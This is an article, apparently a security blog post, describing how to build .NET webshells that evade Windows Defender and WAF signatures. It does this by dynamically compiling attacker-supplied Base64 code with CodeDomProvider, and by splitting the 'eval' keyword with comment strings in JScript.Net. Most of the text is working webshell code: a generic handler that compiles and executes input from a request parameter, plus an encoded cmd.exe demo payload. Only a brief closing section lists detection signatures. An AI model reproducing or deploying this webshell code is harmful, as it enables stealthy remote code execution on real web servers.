
1. Introduction
Currently, mainstream WAFs or endpoint security software such as Windows Defender, EDR mostly rely on signature-based detection. In .NET and VBS one-sentence webshells, the most common feature is eval. For attackers, they need to avoid this system keyword. They can bypass eval through deserialization, but this technique has been publicly known for a long time, and many security products can already detect and block such attack requests effectively. The author approaches from the .NET built-in CodeDomProvider class to implement dynamic compilation of .NET code, specifying JScript or C# as the compilation language. Currently, Windows Defender does not detect the compiled webshell. Defenders, on the other hand, can identify signatures such as CodeDomProvider.CreateProvider, CreateInstance from traffic or endpoint.
2. Dynamic Compilation
.NET can use compilation technology to execute externally input strings as code. Dynamic compilation technology provides two core classes: CodeDomProvider and CompilerParameters. The former is equivalent to the compiler, and the latter is equivalent to compiler parameters. CodeDomProvider supports multiple languages (such as C#, VB, JScript). The compiler parameter CompilerParameters.GenerateExecutable defaults to generating a DLL, while GenerateInMemory = true means loading in memory. CompileAssemblyFromSource indicates the data source of the assembly, and the compiled result generates an assembly for reflection invocation. Finally, through CreateInstance, the object is instantiated and the methods in the custom class are invoked via reflection.
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; //compiler
CompilerParameters comPara = new CompilerParameters(); //compiler parameters
comPara.ReferencedAssemblies.Add("System.dll"); //add reference
comPara.GenerateExecutable = false; //generate exe
comPara.GenerateInMemory = true; //in memory
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //source of compiled data
Assembly objAssembly = compilerResults.CompiledAssembly; //compile into assembly
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //create object
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //invoke method via reflection
var result = objMifo.Invoke(objInstance, null);
3. Implementation
The SourceText method in the above code needs to provide the C# source code to be compiled. The author created the NeteyeInput class as follows:
public static string SourceText(string txt)
{
StringBuilder sb = new StringBuilder();
sb.Append("using System;");
sb.Append(Environment.NewLine);
sb.Append("namespace Neteye");
sb.Append(Environment.NewLine);
sb.Append("{");
sb.Append(Environment.NewLine);
sb.Append(" public class NeteyeInput");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(" public void OutPut()");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append("}");
string code = sb.ToString();
return code;
}
The class declares the OutPut method, which decodes the input original string via Base64. The author uses a calculator as a demonstration here, encoding "System.Diagnostics.Process.Start("cmd.exe","/c calc");" as:
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
Finally, call it in the ProcessRequest method of the generic handler:
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}

4. Other Methods
JScript.Net dynamic compilation to dismantle eval
In the .NET security field, most one-sentence webshells rely on the eval keyword for execution, and many security products heavily target it for detection. Therefore, the author needs to avoid eval. In .NET, eval only exists in JScript.Net, so the dynamic compiler must be specified as JScript. The rest is essentially the same as the C# version of dynamic compilation. The author dismantles eval by inserting irrelevant characters, as shown in the following code:
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
}
}";
Simply remove the irrelevant strings "/*@Ivan1ee@*/" during compilation, then compile and reflectively invoke the target method.
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));
5. Defense Measures
General web applications rarely use such scenarios. Detect signatures:
CodeDomProvider.CreateProvider,CreateInstance, etc. Once an alert is triggered, pay extra attention.Since the compiled assembly is saved as a temporary file on disk, monitoring of DLL file content in writable directories should be added.
The code involved in the article has been packaged at: https://github.com/Ivan1ee/.NETWebShell